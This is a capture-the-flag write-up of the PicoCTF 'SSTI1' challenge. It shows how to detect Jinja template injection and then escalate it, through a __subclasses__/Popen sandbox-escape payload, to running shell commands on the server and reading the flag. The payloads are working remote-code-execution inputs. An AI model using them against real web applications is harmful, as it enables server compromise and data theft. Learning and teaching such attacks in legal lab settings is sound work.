← Back to Cybersecurity Projects
PicoCTF — Write-Up

Server-Side Template Injection (SSTI1)

Category:Web Exploitation
Points:n/a
Author:Kelvin Creighton
Difficulty:Easy
#web#ssti1#python#jinja
01

Research

What is SSTI?

  • Server-Side Template Injection occurs when an attacker can inject malicious input into a server-side template.
  • A server-side template is a file used by a web application to generate dynamic content on the server (like the blueprint of the web app).

Common Server-Side Template Engines

  • Python: Jinja, Django
  • PHP: Twig, Blade
  • Java: FreeMarker, Thymeleaf
  • Ruby: ERB
  • Javascript: EJS
02

Information Gathering

Start by determining if the application evaluates template expressions from user input, and then identify the specific template engine in use.

STEP 01Basic Quick Check
INPUT{{7*7}}
OUTPUT49

Reason: This confirms the vulnerability and rules out engines that do not use `{{...}}` syntax. It likely points to Jinja or Twig.

STEP 02Fingerprinting the Engine
INPUT{{7*'7'}}
OUTPUT7777777

Reason: If it were Twig, it would output 49. The output `7777777` confirms Python is evaluating the expression, meaning the engine is Jinja. Running `{{self.__class__}}` verifies this by outputting
`<class 'jinja2.runtime.TemplateReference'>` .

03

Creating the Payload

The goal is to escape the sandbox by traversing Python's Method Resolution Order (MRO) to find a class that allows executing OS commands.

STEP 01Finding the Object Class
INPUT{{''.__class__.__mro__[1]}}
OUTPUT<class 'object'>

Reason: Starting with an empty string `''`, we access its class `str`, then its MRO tuple, and grab the base `object` class at index 1.

STEP 02Listing Subclasses
INPUT{{''.__class__.__mro__[1].__subclasses__()}}
OUTPUT[... list of classes ...]

Reason: We display all classes that inherit from `object`. We are looking for classes in `os` or `subprocess` modules. We find `subprocess.Popen` at index 356.

STEP 03Remote Code Execution
INPUT{{''.__class__.__mro__[1].__subclasses__()[356](['ls'], shell=True, stdout=-1).communicate()}}
OUTPUT(b'__pycache__\napp.py\nflag\nrequirements.txt\n', None)

Reason: We instantiate `subprocess.Popen` to run the `ls` command. We see a file named `flag` in the output directory list.

STEP 04Extracting the Flag
INPUT{{''.__class__.__mro__[1].__subclasses__()[356](['cat flag'], shell=True, stdout=-1).communicate()}}
OUTPUT[Flag Content]

Reason: Running the `cat flag` command through the Popen shell allows us to read the flag and solve the puzzle.

04

Key Takeaways

  • Never pass unsanitized user input directly to a template engine's rendering context.
  • Python's class inheritance hierarchy (`__mro__`, `__subclasses__`) allows powerful sandbox escapes if remote code execution is achieved.
FF

Flag

Captured Flag
[REDACTED]
Kelvin Creighton — PicoCTF Write-UpAll steps performed in a legal CTF environment.